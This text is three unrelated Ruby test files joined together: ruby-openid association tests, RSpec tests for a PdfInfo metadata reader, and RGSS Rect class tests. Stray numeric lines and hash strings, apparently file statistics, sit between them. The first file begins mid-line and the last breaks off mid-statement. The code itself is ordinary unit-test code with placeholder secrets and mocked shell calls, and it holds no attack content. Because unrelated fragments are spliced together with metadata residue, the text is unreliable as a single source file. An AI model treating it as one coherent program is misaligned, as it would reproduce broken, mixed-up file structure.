'session_type' => 'new-session-type', }) assert_log_matches('Server error when requesting an association') { response = call_negotiate([msg]) assert_nil(response) } end def test_empty_session_type msg = mk_message({'error' => 'Unsupported type', 'error_code' => 'unsupported-type', 'assoc_type' => 'new-assoc-type', }) assert_log_matches('Server error when requesting an association') { response = call_negotiate([msg]) assert_nil(response) } end def test_not_allowed negotiator = AssociationNegotiator.new([]) negotiator.instance_eval{ @allowed_types = [['assoc_bogus', 'session_bogus']] } msg = mk_message({'error' => 'Unsupported type', 'error_code' => 'unsupported-type', 'assoc_type' => 'not-allowed', 'session_type' => 'not-allowed', }) assert_log_matches('Server error when requesting an association') { response = call_negotiate([msg]) assert_nil(response) } end def test_unsupported_with_retry msg = mk_message({'error' => 'Unsupported type', 'error_code' => 'unsupported-type', 'assoc_type' => 'HMAC-SHA1', 'session_type' => 'DH-SHA1', }) assoc = Association.new('handle', 'secret', Time.now, 10000, 'HMAC-SHA1') assert_log_matches('Server error when requesting an association') { response = call_negotiate([msg, assoc]) assert_nil(response) } end def test_valid assoc = Association.new('handle', 'secret', Time.now, 10000, 'HMAC-SHA1') assert_log_matches() { response = call_negotiate([assoc]) assert_equal(assoc, response) } end end class TestExtractAssociation < Minitest::Test include ProtocolErrorMixin # An OpenID associate response (without the namespace) DEFAULTS = { 'expires_in' => '1000', 'assoc_handle' => 'a handle', 'assoc_type' => 'a type', 'session_type' => 'a session type', } def setup @assoc_manager = Consumer::AssociationManager.new(nil, nil) end # Make tests that ensure that an association response that is # missing required fields will raise an Message::KeyNotFound. # # According to 'Association Session Response' subsection 'Common # Response Parameters', the following fields are required for # OpenID 2.0: # # * ns # * session_type # * assoc_handle # * assoc_type # * expires_in # # In OpenID 1, everything except 'session_type' and 'ns' are # required. MISSING_FIELD_SETS = ([["no_fields", []]] + (DEFAULTS.keys.map do |f| fields = DEFAULTS.keys fields.delete(f) ["missing_#{f}", fields] end) ) [OPENID1_NS, OPENID2_NS].each do |ns| MISSING_FIELD_SETS.each do |name, fields| # OpenID 1 is allowed to be missing session_type if ns != OPENID1_NS and name != 'missing_session_type' test = lambda do msg = Message.new(ns) fields.each do |field| msg.set_arg(ns, field, DEFAULTS[field]) end assert_raises(Message::KeyNotFound) do @assoc_manager.send(:extract_association, msg, nil) end end define_method("test_#{name}", test) end end end # assert that extracting a response that contains the given # response session type when the request was made for the given # request session type will raise a ProtocolError indicating # session type mismatch def assert_session_mismatch(req_type, resp_type, ns) # Create an association session that has "req_type" as its # session_type and no allowed_assoc_types assoc_session_class = Class.new do @session_type = req_type def self.session_type @session_type end def self.allowed_assoc_types [] end end assoc_session = assoc_session_class.new # Build an OpenID 1 or 2 association response message that has # the specified association session type msg = Message.new(ns) msg.update_args(ns, DEFAULTS) msg.set_arg(ns, 'session_type', resp_type) # The request type and response type have been chosen to produce # a session type mismatch. assert_protocol_error('Session type mismatch') { @assoc_manager.send(:extract_association, msg, assoc_session) } end [['no-encryption', '', OPENID2_NS], ['DH-SHA1', 'no-encryption', OPENID2_NS], ['DH-SHA256', 'no-encryption', OPENID2_NS], ['no-encryption', 'DH-SHA1', OPENID2_NS], ['DH-SHA1', 'DH-SHA256', OPENID1_NS], ['DH-SHA256', 'DH-SHA1', OPENID1_NS], ['no-encryption', 'DH-SHA1', OPENID1_NS], ].each do |req_type, resp_type, ns| test = lambda { assert_session_mismatch(req_type, resp_type, ns) } name = "test_mismatch_req_#{req_type}_resp_#{resp_type}_#{ns}" define_method(name, test) end def test_openid1_no_encryption_fallback # A DH-SHA1 session assoc_session = Consumer::DiffieHellmanSHA1Session.new # An OpenID 1 no-encryption association response msg = Message.from_openid_args({ 'expires_in' => '1000', 'assoc_handle' => 'a handle', 'assoc_type' => 'HMAC-SHA1', 'mac_key' => 'X' * 20, }) # Should succeed assoc = @assoc_manager.send(:extract_association, msg, assoc_session) assert_equal('a handle', assoc.handle) assert_equal('HMAC-SHA1', assoc.assoc_type) assert(assoc.expires_in.between?(999, 1000)) assert('X' * 20, assoc.secret) end end class GetOpenIDSessionTypeTest < Minitest::Test include TestUtil SERVER_URL = 'http://invalid/' def do_test(expected_session_type, session_type_value) # Create a Message with just 'session_type' in it, since # that's all this function will use. 'session_type' may be # absent if it's set to None. args = {} if !session_type_value.nil? args['session_type'] = session_type_value end message = Message.from_openid_args(args) assert(message.is_openid1) assoc_manager = Consumer::AssociationManager.new(nil, SERVER_URL) actual_session_type = assoc_manager.send(:get_openid1_session_type, message) error_message = ("Returned session type parameter #{session_type_value}"\ "was expected to yield session type "\ "#{expected_session_type}, but yielded "\ "#{actual_session_type}") assert_equal(expected_session_type, actual_session_type, error_message) end [['nil', 'no-encryption', nil], ['empty', 'no-encryption', ''], ['dh_sha1', 'DH-SHA1', 'DH-SHA1'], ['dh_sha256', 'DH-SHA256', 'DH-SHA256'], ].each {|name, expected, input| # Define a test method that will check what session type will be # used if the OpenID 1 response to an associate call sets the # 'session_type' field to `session_type_value` test = lambda {assert_log_matches() { do_test(expected, input) } } define_method("test_#{name}", &test) } # This one's different because it expects log messages def test_explicit_no_encryption assert_log_matches("WARNING: #{SERVER_URL} sent 'no-encryption'"){ do_test('no-encryption', 'no-encryption') } end end class ExtractAssociationTest < Minitest::Test include ProtocolErrorMixin SERVER_URL = 'http://invalid/' def setup @session_type = 'testing-session' # This must something that works for Association::from_expires_in @assoc_type = 'HMAC-SHA1' @assoc_handle = 'testing-assoc-handle' # These arguments should all be valid @assoc_response = Message.from_openid_args({ 'expires_in' => '1000', 'assoc_handle' => @assoc_handle, 'assoc_type' => @assoc_type, 'session_type' => @session_type, 'ns' => OPENID2_NS, }) assoc_session_cls = Class.new do class << self attr_accessor :allowed_assoc_types, :session_type end attr_reader :extract_secret_called, :secret def initialize @extract_secret_called = false @secret = 'shhhhh!' end def extract_secret(_) @extract_secret_called = true @secret end end @assoc_session = assoc_session_cls.new @assoc_session.class.allowed_assoc_types = [@assoc_type] @assoc_session.class.session_type = @session_type @assoc_manager = Consumer::AssociationManager.new(nil, SERVER_URL) end def call_extract @assoc_manager.send(:extract_association, @assoc_response, @assoc_session) end # Handle a full successful association response def test_works_with_good_fields assoc = call_extract assert(@assoc_session.extract_secret_called) assert_equal(@assoc_session.secret, assoc.secret) assert_equal(1000, assoc.lifetime) assert_equal(@assoc_handle, assoc.handle) assert_equal(@assoc_type, assoc.assoc_type) end def test_bad_assoc_type # Make sure that the assoc type in the response is not valid # for the given session. @assoc_session.class.allowed_assoc_types = [] assert_protocol_error('Unsupported assoc_type for sess') {call_extract} end def test_bad_expires_in # Invalid value for expires_in should cause failure @assoc_response.set_arg(OPENID_NS, 'expires_in', 'forever') assert_protocol_error('Invalid expires_in') {call_extract} end end class TestExtractAssociationDiffieHellman < Minitest::Test include ProtocolErrorMixin SECRET = 'x' * 20 def setup @assoc_manager = Consumer::AssociationManager.new(nil, nil) end def setup_dh sess, _ = @assoc_manager.send(:create_associate_request, 'HMAC-SHA1', 'DH-SHA1') server_dh = DiffieHellman.new cons_dh = sess.instance_variable_get('@dh') enc_mac_key = server_dh.xor_secret(CryptUtil.method(:sha1), cons_dh.public, SECRET) server_resp = { 'dh_server_public' => CryptUtil.num_to_base64(server_dh.public), 'enc_mac_key' => Util.to_base64(enc_mac_key), 'assoc_type' => 'HMAC-SHA1', 'assoc_handle' => 'handle', 'expires_in' => '1000', 'session_type' => 'DH-SHA1', } if @assoc_manager.instance_variable_get(:@compatibility_mode) server_resp['ns'] = OPENID2_NS end return [sess, Message.from_openid_args(server_resp)] end def test_success sess, server_resp = setup_dh ret = @assoc_manager.send(:extract_association, server_resp, sess) assert(!ret.nil?) assert_equal(ret.assoc_type, 'HMAC-SHA1') assert_equal(ret.secret, SECRET) assert_equal(ret.handle, 'handle') assert_equal(ret.lifetime, 1000) end def test_openid2success # Use openid 1 type in endpoint so _setUpDH checks # compatibility mode state properly @assoc_manager.instance_variable_set('@compatibility_mode', true) test_success() end def test_bad_dh_values sess, server_resp = setup_dh server_resp.set_arg(OPENID_NS, 'enc_mac_key', '\x00\x00\x00') assert_protocol_error('Malformed response for') { @assoc_manager.send(:extract_association, server_resp, sess) } end end class TestAssocManagerGetAssociation < Minitest::Test include FetcherMixin include TestUtil attr_reader :negotiate_association def setup @server_url = 'http://invalid/' @store = Store::Memory.new @assoc_manager = Consumer::AssociationManager.new(@store, @server_url) @assoc_manager.extend(Const) @assoc = Association.new('handle', 'secret', Time.now, 10000, 'HMAC-SHA1') end def set_negotiate_response(assoc) @assoc_manager.const(:negotiate_association, assoc) end def test_not_in_store_no_response set_negotiate_response(nil) assert_nil(@assoc_manager.get_association) end def test_not_in_store_negotiate_assoc # Not stored beforehand: stored_assoc = @store.get_association(@server_url, @assoc.handle) assert_nil(stored_assoc) # Returned from associate call: set_negotiate_response(@assoc) assert_equal(@assoc, @assoc_manager.get_association) # It should have been stored: stored_assoc = @store.get_association(@server_url, @assoc.handle) assert_equal(@assoc, stored_assoc) end def test_in_store_no_response set_negotiate_response(nil) @store.store_association(@server_url, @assoc) assert_equal(@assoc, @assoc_manager.get_association) end def test_request_assoc_with_status_error fetcher_class = Class.new do define_method(:fetch) do |*args| MockResponse.new(500, '') end end with_fetcher(fetcher_class.new) do assert_log_matches('Got HTTP status error when requesting') { result = @assoc_manager.send(:request_association, 'HMAC-SHA1', 'no-encryption') assert(result.nil?) } end end end class TestAssocManagerRequestAssociation < Minitest::Test include FetcherMixin include TestUtil def setup @assoc_manager = Consumer::AssociationManager.new(nil, 'http://invalid/') @assoc_type = 'HMAC-SHA1' @session_type = 'no-encryption' @message = Message.new(OPENID2_NS) @message.update_args(OPENID_NS, { 'assoc_type' => @assoc_type, 'session_type' => @session_type, 'assoc_handle' => 'kaboodle', 'expires_in' => '1000', 'mac_key' => 'X' * 20, }) end def make_request kv = @message.to_kvform fetcher_class = Class.new do define_method(:fetch) do |*args| MockResponse.new(200, kv) end end with_fetcher(fetcher_class.new) do @assoc_manager.send(:request_association, @assoc_type, @session_type) end end # The association we get is from valid processing of our result, # and that no errors are raised def test_success assert_equal('kaboodle', make_request.handle) end # A missing parameter gets translated into a log message and # causes the method to return nil def test_missing_fields @message.del_arg(OPENID_NS, 'assoc_type') assert_log_matches('Missing required par') { assert_nil(make_request) } end # A bad value results in a log message and causes the method to # return nil def test_protocol_error @message.set_arg(OPENID_NS, 'expires_in', 'goats') assert_log_matches('Protocol error processing') { assert_nil(make_request) } end end end
32.684498
79
0.613848
aca15b093eb7a17c8dbc83628c036a9f18bf3dfc
4,579
# frozen_string_literal: true require 'rails_helper' require 'pdf_info' describe PdfInfo::Metadata do let(:result) do <<~STDOUT Title: Subject: Author: Creator: Producer: CreationDate: Tagged: no UserProperties: no Suspects: no Form: none JavaScript: no Pages: 4 Encrypted: no Page size: 612 x 792 pts (letter) Page rot: 0 File size: 1099807 bytes Optimized: no PDF version: 1.3" STDOUT end let(:good_exit) do wait_thr = double value = double allow(wait_thr).to receive(:value).and_return(value) allow(value).to receive(:success?).and_return(true) allow(value).to receive(:exitstatus).and_return(0) wait_thr end let(:bad_exit) do wait_thr = double value = double allow(wait_thr).to receive(:value).and_return(value) allow(value).to receive(:success?).and_return(false) allow(value).to receive(:exitstatus).and_return(1) wait_thr end before(:each) do allow(Open3).to receive(:popen2e).and_yield('', result, good_exit) end describe '::read' do context 'when passed a string' do it 'should shell out with the string as the file path' do expect(Open3).to receive(:popen2e).with(%w[pdfinfo argv0], '/tmp/file.pdf').and_yield('', result, good_exit) described_class.read('/tmp/file.pdf') end end context 'when passed a file' do it 'should shell out with the file object path' do file = double(File) allow(file).to receive(:path).and_return('/tmp/file.pdf') expect(Open3).to receive(:popen2e).with(%w[pdfinfo argv0], '/tmp/file.pdf').and_yield('', result, good_exit) described_class.read(file) end end context 'when the command errors' do it 'should raise a PdfInfo::MetadataReadError' do expect(Open3).to receive(:popen2e).with(%w[pdfinfo argv0], '/tmp/file.pdf').and_yield('', result, bad_exit) expect { described_class.read('/tmp/file.pdf') }.to raise_error(PdfInfo::MetadataReadError, /pdfinfo exited/) end end end describe '#[]' do it 'should fetch a key from the parsed result' do metadata = described_class.read('/tmp/file.pdf') expect(metadata['Title']).to be_nil expect(metadata['Pages']).to eq('4') expect(metadata['Encrypted']).to eq('no') end end describe '#pages' do it 'should return pages as an int' do metadata = described_class.read('/tmp/file.pdf') expect(metadata.pages).to eq(4) end end describe '#encrypted?' do it 'should return encryption as a boolean' do metadata = described_class.read('/tmp/file.pdf') expect(metadata.encrypted?).to be false end context 'when the document has invalid characters' do let(:result) do bad_str = (100..1000).to_a.pack('c*').force_encoding('utf-8') <<~STDOUT Title: Subject: Keywords: Author: CamScanner Producer: intsig.com pdf producer ModDate: #{bad_str} Tagged: no UserProperties: no Suspects: no Form: none JavaScript: no Pages: 1 Encrypted: no Page size: 595 x 842 pts (A4) Page rot: 0 File size: 1411924 bytes Optimized: no PDF version: 1.6 STDOUT end describe '#pages' do it 'should return pages as an int' do metadata = described_class.read('/tmp/file.pdf') expect(metadata.pages).to eq(1) end end end context 'when the document is encrypted' do let(:result) do <<~STDOUT Title: Subject: Author: Creator: Producer: CreationDate: Tagged: no UserProperties: no Suspects: no Form: none JavaScript: no Pages: 4 Encrypted: yes Page size: 612 x 792 pts (letter) Page rot: 0 File size: 1099807 bytes Optimized: no PDF version: 1.3" STDOUT end it 'should return encryption as a boolean' do metadata = described_class.read('/tmp/file.pdf') expect(metadata.encrypted?).to be true end end end end
27.920732
117
0.566499
21e6f4030fa54124f27a2bca0345c6e68e4e3a8f
18,119
# Copyright 2017 Masaki Hara. See the COPYRIGHT # file at the top-level directory of this distribution. # # Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or # http://www.apache.org/licenses/LICENSE-2.0> or the MIT license # <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your # option. This file may not be copied, modified, or distributed # except according to those terms. module RGSSTest class TestRect < Test @@klass = Rect def new_unchecked(x, y, width, height) Rect._load([x, y, width, height].pack("l<l<l<l<")) end def test_superclass assert_equal(@@klass.superclass, Object) end def test_constants assert_symset_equal(@@klass.constants, []) end def test_class_variables assert_symset_equal(@@klass.class_variables, []) end def test_class_methods assert_symset_equal(@@klass.methods - Object.methods, [:_load]) end def test_instance_methods assert_symset_equal(owned_instance_methods(@@klass), [ :==, :===, :_dump, :empty, :eql?, :height, :height=, :set, :to_s, :width, :width=, :x, :x=, :y, :y=]) end def test_instance_variables obj = @@klass.new(0, 0, 0, 0) assert_symset_equal(obj.instance_variables, []) end def test_new_arg4_1 obj = @@klass.new(0, 0, 0, 0) assert_equal(obj.x, 0) assert_equal(obj.y, 0) assert_equal(obj.width, 0) assert_equal(obj.height, 0) end def test_new_arg4_2 obj = @@klass.new(67.5, 38.25, 175.75, 237.25) assert_equal(obj.x, 67) assert_equal(obj.y, 38) assert_equal(obj.width, 175) assert_equal(obj.height, 237) end def test_new_arg4_3 obj = @@klass.new(-3, 0, -70, -1024) assert_equal(obj.x, -3) assert_equal(obj.y, 0) assert_equal(obj.width, -70) assert_equal(obj.height, -1024) end def test_new_arg0 if RGSS == 3 obj = @@klass.new assert_equal(obj.x, 0) assert_equal(obj.y, 0) assert_equal(obj.width, 0) assert_equal(obj.height, 0) else assert_raise(ArgumentError) { @@klass.new } end end def test_new_argerror assert_raise(ArgumentError) { @@klass.new(0) } assert_raise(ArgumentError) { @@klass.new(0, 0) } assert_raise(ArgumentError) { @@klass.new(0, 0, 0) } assert_raise(ArgumentError) { @@klass.new(0, 0, 0, 0, 0) } end def test_new_typeerror assert_raise(TypeError) { @@klass.new("hoge", 0, 0, 0) } assert_raise(TypeError) { @@klass.new(0, "hoge", 0, 0) } assert_raise(TypeError) { @@klass.new(0, 0, "hoge", 0) } assert_raise(TypeError) { @@klass.new(0, 0, 0, "hoge") } end def test_new_large obj = @@klass.new((1 << 30) - 1, (1 << 30) - 1, (1 << 30) - 1, (1 << 30) - 1) assert_equal(obj.x, (1 << 30) - 1) assert_equal(obj.y, (1 << 30) - 1) assert_equal(obj.width, (1 << 30) - 1) assert_equal(obj.height, (1 << 30) - 1) obj = @@klass.new(-(1 << 30), -(1 << 30), -(1 << 30), -(1 << 30)) assert_equal(obj.x, -(1 << 30)) assert_equal(obj.y, -(1 << 30)) assert_equal(obj.width, -(1 << 30)) assert_equal(obj.height, -(1 << 30)) obj = @@klass.new((1 << 31) - 1, (1 << 31) - 1, (1 << 31) - 1, (1 << 31) - 1) # This is because the accessors are buggy. expected = "\xFF\xFF\xFF\x7F\xFF\xFF\xFF\x7F\xFF\xFF\xFF\x7F\xFF\xFF\xFF\x7F" expected.force_encoding("ASCII-8BIT") rescue nil assert_equal(obj._dump(0), expected) obj = @@klass.new(-(1 << 31), -(1 << 31), -(1 << 31), -(1 << 31)) # This is because the accessors are buggy. expected = "\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80" expected.force_encoding("ASCII-8BIT") rescue nil assert_equal(obj._dump(0), expected) end def test_new_rangeerror assert_raise(RangeError) { @@klass.new(1 << 31, 0, 0, 0) } assert_raise(RangeError) { @@klass.new(0, 1 << 31, 0, 0) } assert_raise(RangeError) { @@klass.new(0, 0, 1 << 31, 0) } assert_raise(RangeError) { @@klass.new(0, 0, 0, 1 << 31) } assert_raise(RangeError) { @@klass.new(-(1 << 31) - 1, 0, 0, 0) } assert_raise(RangeError) { @@klass.new(0, -(1 << 31) - 1, 0, 0) } assert_raise(RangeError) { @@klass.new(0, 0, -(1 << 31) - 1, 0) } assert_raise(RangeError) { @@klass.new(0, 0, 0, -(1 << 31) - 1) } end def test_set_arg4_1 obj = @@klass.new(20, 20, 20, 20) obj.set(0, 0, 0, 0) assert_equal(obj.x, 0) assert_equal(obj.y, 0) assert_equal(obj.width, 0) assert_equal(obj.height, 0) end def test_set_arg4_2 obj = @@klass.new(20, 20, 20, 20) obj.set(67.5, 38.25, 175.75, 237.25) assert_equal(obj.x, 67) assert_equal(obj.y, 38) assert_equal(obj.width, 175) assert_equal(obj.height, 237) end def test_set_arg1 obj = @@klass.new(20, 20, 20, 20) if RGSS == 3 obj.set(@@klass.new(35, 37, 39, 41)) assert_equal(obj.x, 35) assert_equal(obj.y, 37) assert_equal(obj.width, 39) assert_equal(obj.height, 41) else assert_raise(ArgumentError) { obj.set(@@klass.new(35, 37, 39, 41)) } end end def test_set_retval obj = @@klass.new(20, 20, 20, 20) assert(obj.set(1, 2, 3, 4).equal?(obj)) if RGSS == 3 assert(obj.set(@@klass.new(1, 2, 3, 4)).equal?(obj)) end end def test_set_argerror obj = @@klass.new(20, 20, 20, 20) assert_raise(ArgumentError) { obj.set } assert_raise(ArgumentError) { obj.set(0, 0) } assert_raise(ArgumentError) { obj.set(0, 0, 0) } assert_raise(ArgumentError) { obj.set(0, 0, 0, 0, 0) } end def test_set_typeerror obj = @@klass.new(20, 20, 20, 20) assert_raise(TypeError) { obj.set("hoge", 0, 0, 0) } assert_raise(TypeError) { obj.set(0, "hoge", 0, 0) } assert_raise(TypeError) { obj.set(0, 0, "hoge", 0) } assert_raise(TypeError) { obj.set(0, 0, 0, "hoge") } # assert_raise(TypeError) { obj.set("hoge") } # assert_raise(TypeError) { obj.set(Color.new(0.0, 0.0, 0.0, 0.0)) } end def test_set_large obj = @@klass.new(20, 20, 20, 20) obj.set((1 << 30) - 1, (1 << 30) - 1, (1 << 30) - 1, (1 << 30) - 1) assert_equal(obj.x, (1 << 30) - 1) assert_equal(obj.y, (1 << 30) - 1) assert_equal(obj.width, (1 << 30) - 1) assert_equal(obj.height, (1 << 30) - 1) obj = @@klass.new(20, 20, 20, 20) obj.set(-(1 << 30), -(1 << 30), -(1 << 30), -(1 << 30)) assert_equal(obj.x, -(1 << 30)) assert_equal(obj.y, -(1 << 30)) assert_equal(obj.width, -(1 << 30)) assert_equal(obj.height, -(1 << 30)) obj = @@klass.new(20, 20, 20, 20) obj.set((1 << 31) - 1, (1 << 31) - 1, (1 << 31) - 1, (1 << 31) - 1) # This is because the accessors are buggy. expected = "\xFF\xFF\xFF\x7F\xFF\xFF\xFF\x7F\xFF\xFF\xFF\x7F\xFF\xFF\xFF\x7F" expected.force_encoding("ASCII-8BIT") rescue nil assert_equal(obj._dump(0), expected) obj = @@klass.new(20, 20, 20, 20) obj.set(-(1 << 31), -(1 << 31), -(1 << 31), -(1 << 31)) # This is because the accessors are buggy. expected = "\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80" expected.force_encoding("ASCII-8BIT") rescue nil assert_equal(obj._dump(0), expected) end def test_set_rangeerror obj = @@klass.new(20, 20, 20, 20) assert_raise(RangeError) { obj.set(1 << 31, 0, 0, 0) } assert_raise(RangeError) { obj.set(0, 1 << 31, 0, 0) } assert_raise(RangeError) { obj.set(0, 0, 1 << 31, 0) } assert_raise(RangeError) { obj.set(0, 0, 0, 1 << 31) } assert_raise(RangeError) { obj.set(-(1 << 31) - 1, 0, 0, 0) } assert_raise(RangeError) { obj.set(0, -(1 << 31) - 1, 0, 0) } assert_raise(RangeError) { obj.set(0, 0, -(1 << 31) - 1, 0) } assert_raise(RangeError) { obj.set(0, 0, 0, -(1 << 31) - 1) } end def test_empty obj = @@klass.new(20, 20, 20, 20) obj.empty assert_equal(obj.x, 0) assert_equal(obj.y, 0) assert_equal(obj.width, 0) assert_equal(obj.height, 0) end def test_empty_retval obj = @@klass.new(20, 20, 20, 20) assert(obj.empty.equal?(obj)) end def test_empty_argerror obj = @@klass.new(20, 20, 20, 20) assert_raise(ArgumentError) { obj.empty(30) } assert_raise(ArgumentError) { obj.empty(30, 40) } assert_raise(ArgumentError) { obj.empty(30, 40, 50) } assert_raise(ArgumentError) { obj.empty(30, 40, 50, 60) } end def test_xywh_large obj = @@klass.new((1 << 30) - 1, (1 << 30) - 1, (1 << 30) - 1, (1 << 30) - 1) assert_equal(obj.x, (1 << 30) - 1) assert_equal(obj.y, (1 << 30) - 1) assert_equal(obj.width, (1 << 30) - 1) assert_equal(obj.height, (1 << 30) - 1) obj = @@klass.new(-(1 << 30), -(1 << 30), -(1 << 30), -(1 << 30)) assert_equal(obj.x, -(1 << 30)) assert_equal(obj.y, -(1 << 30)) assert_equal(obj.width, -(1 << 30)) assert_equal(obj.height, -(1 << 30)) end def test_xywh_large_buggy # Buggy behavior obj = @@klass.new(-(1 << 30), -(1 << 30), -(1 << 30), -(1 << 30)) assert_equal(obj.x, -(1 << 30)) assert_equal(obj.y, -(1 << 30)) assert_equal(obj.width, -(1 << 30)) assert_equal(obj.height, -(1 << 30)) # Buggy behavior obj = @@klass.new((1 << 31) - 1, (1 << 31) - 1, (1 << 31) - 1, (1 << 31) - 1) assert_equal(obj.x, -1) assert_equal(obj.y, -1) assert_equal(obj.width, -1) assert_equal(obj.height, -1) # Buggy behavior obj = @@klass.new(-(1 << 30) - 1, -(1 << 30) - 1, -(1 << 30) - 1, -(1 << 30) - 1) assert_equal(obj.x, (1 << 30) - 1) assert_equal(obj.y, (1 << 30) - 1) assert_equal(obj.width, (1 << 30) - 1) assert_equal(obj.height, (1 << 30) - 1) # Buggy behavior obj = @@klass.new(-(1 << 31), -(1 << 31), -(1 << 31), -(1 << 31)) assert_equal(obj.x, 0) assert_equal(obj.y, 0) assert_equal(obj.width, 0) assert_equal(obj.height, 0) end def test_set_xywh obj = @@klass.new(20, 20, 20, 20) assert_equal(obj.x, 20) obj.x = 111.75 assert_equal(obj.x, 111) obj = @@klass.new(20, 20, 20, 20) assert_equal(obj.y, 20) obj.y = 3.1 assert_equal(obj.y, 3) obj = @@klass.new(20, 20, 20, 20) assert_equal(obj.width, 20) obj.width = 17.875 assert_equal(obj.width, 17) obj = @@klass.new(20, 20, 20, 20) assert_equal(obj.height, 20.0) obj.height = 254.5 assert_equal(obj.height, 254) end def test_set_xywh_retval obj = @@klass.new(20, 20, 20, 20) assert_equal(obj.send(:x=, 1.5), 1.5) assert_equal(obj.send(:y=, 7.5), 7.5) assert_equal(obj.send(:width=, 15.5), 15.5) assert_equal(obj.send(:height=, 2.75), 2.75) end def test_set_xywh_retval_2 obj = @@klass.new(20, 20, 20, 20) val = Object.new def val.to_int 1000 end assert_equal(obj.send(:x=, val), val) assert_equal(obj.send(:y=, val), val) assert_equal(obj.send(:width=, val), val) assert_equal(obj.send(:height=, val), val) end def test_set_xywh_typeerror obj = @@klass.new(20, 20, 20, 20) assert_raise(TypeError) { obj.x = "hoge" } assert_raise(TypeError) { obj.y = "hoge" } assert_raise(TypeError) { obj.width = "hoge" } assert_raise(TypeError) { obj.height = "hoge" } end def test_initialize_copy obj = @@klass.new(20, 20, 20, 20) obj.send(:initialize_copy, @@klass.new(35, 37, 39, 41)) assert_equal(obj.x, 35) assert_equal(obj.y, 37) assert_equal(obj.width, 39) assert_equal(obj.height, 41) end def test_initialize_copy_self obj = @@klass.new(20, 20, 20, 20) obj.send(:initialize_copy, obj) assert_equal(obj.x, 20) assert_equal(obj.y, 20) assert_equal(obj.width, 20) assert_equal(obj.height, 20) end def test_initialize_copy_argerror obj = @@klass.new(20, 20, 20, 20) assert_raise(ArgumentError) { obj.send(:initialize_copy, obj, obj, obj, obj) } assert_raise(ArgumentError) { obj.send(:initialize_copy, obj, obj, obj) } assert_raise(ArgumentError) { obj.send(:initialize_copy, obj, obj) } assert_raise(ArgumentError) { obj.send(:initialize_copy) } end def test_initialize_copy_typeerror obj = @@klass.new(20, 20, 20, 20) assert_raise(TypeError) { obj.send(:initialize_copy, Object.new) } rect_sub = Class.new(Rect) assert_raise(TypeError) { obj.send(:initialize_copy, rect_sub.new(20, 20, 20, 20)) } end def test_to_s_1 obj = @@klass.new(3, 137, 254, 200) assert_equal(obj.to_s, "(3, 137, 254, 200)") end def test_to_s_2 obj = @@klass.new(0, 0, 0, 0) assert_equal(obj.to_s, "(0, 0, 0, 0)") end def test_to_s_3 obj = @@klass.new(-3, -137, -254, -200) assert_equal(obj.to_s, "(-3, -137, -254, -200)") end def test_to_s_large obj = @@klass.new((1 << 31) - 1, (1 << 31) - 1, (1 << 31) - 1, (1 << 31) - 1) assert_equal(obj.to_s, "(2147483647, 2147483647, 2147483647, 2147483647)") obj = @@klass.new(-(1 << 31), -(1 << 31), -(1 << 31), -(1 << 31)) assert_equal(obj.to_s, "(-2147483648, -2147483648, -2147483648, -2147483648)") end def test_load_1 obj = new_unchecked(189, 33, -1, 55) assert_equal(obj.x, 189) assert_equal(obj.y, 33) assert_equal(obj.width, -1) assert_equal(obj.height, 55) end def test_load_large obj = Rect._load("\xFF\xFF\xFF\x3F\xFF\xFF\xFF\x3F\xFF\xFF\xFF\x3F\xFF\xFF\xFF\x3F") assert_equal(obj.x, (1 << 30) - 1) assert_equal(obj.y, (1 << 30) - 1) assert_equal(obj.width, (1 << 30) - 1) assert_equal(obj.height, (1 << 30) - 1) obj = Rect._load("\x00\x00\x00\xC0\x00\x00\x00\xC0\x00\x00\x00\xC0\x00\x00\x00\xC0") assert_equal(obj.x, -(1 << 30)) assert_equal(obj.y, -(1 << 30)) assert_equal(obj.width, -(1 << 30)) assert_equal(obj.height, -(1 << 30)) obj = Rect._load("\xFF\xFF\xFF\x7F\xFF\xFF\xFF\x7F\xFF\xFF\xFF\x7F\xFF\xFF\xFF\x7F") obj = new_unchecked((1 << 31) - 1, (1 << 31) - 1, (1 << 31) - 1, (1 << 31) - 1) # This is because the accessors are buggy. expected = "\xFF\xFF\xFF\x7F\xFF\xFF\xFF\x7F\xFF\xFF\xFF\x7F\xFF\xFF\xFF\x7F" expected.force_encoding("ASCII-8BIT") rescue nil assert_equal(obj._dump(0), expected) obj = Rect._load("\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80") # This is because the accessors are buggy. expected = "\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x80" expected.force_encoding("ASCII-8BIT") rescue nil assert_equal(obj._dump(0), expected) end def test_equal_1 obj1 = @@klass.new(55, 77, 88, 111) obj2 = @@klass.new(55, 77, 88, 111) assert_equal(obj1 == obj2, true) assert_equal(obj1 === obj2, true) assert_equal(obj1.eql?(obj2), true) assert_equal(obj2 == obj1, true) assert_equal(obj2 === obj1, true) assert_equal(obj2.eql?(obj1), true) end def test_equal_large obj1 = @@klass.new((1 << 31) - 1, 0, 0, 0) obj2 = @@klass.new(-1, 0, 0, 0) assert_equal(obj1 == obj2, false) assert_equal(obj1 === obj2, false) assert_equal(obj1.eql?(obj2), false) obj1 = @@klass.new(0, (1 << 31) - 1, 0, 0) obj2 = @@klass.new(0, -1, 0, 0) assert_equal(obj1 == obj2, false) assert_equal(obj1 === obj2, false) assert_equal(obj1.eql?(obj2), false) obj1 = @@klass.new(0, 0, (1 << 31) - 1, 0) obj2 = @@klass.new(0, 0, -1, 0) assert_equal(obj1 == obj2, false) assert_equal(obj1 === obj2, false) assert_equal(obj1.eql?(obj2), false) obj1 = @@klass.new(0, 0, 0, (1 << 31) - 1) obj2 = @@klass.new(0, 0, 0, -1) assert_equal(obj1 == obj2, false) assert_equal(obj1 === obj2, false) assert_equal(obj1.eql?(obj2), false) end def test_equal_typeerror obj = @@klass.new(0, 0, 0, 0) if RGSS == 3 assert_equal(obj == "hoge", false) assert_equal(obj === "hoge", false) assert_equal(obj.eql?("hoge"), false) assert_equal(obj == Color.new(0.0, 0.0, 0.0, 0.0), false) assert_equal(obj === Color.new(0.0, 0.0, 0.0, 0.0), false) assert_equal(obj.eql?(Color.new(0.0, 0.0, 0.0, 0.0)), false) else assert_raise(TypeError) { obj == @@klass } assert_raise(TypeError) { obj === @@klass } assert_raise(TypeError) { obj.eql?(@@klass) } assert_raise(TypeError) { obj == Color.new(0.0, 0.0, 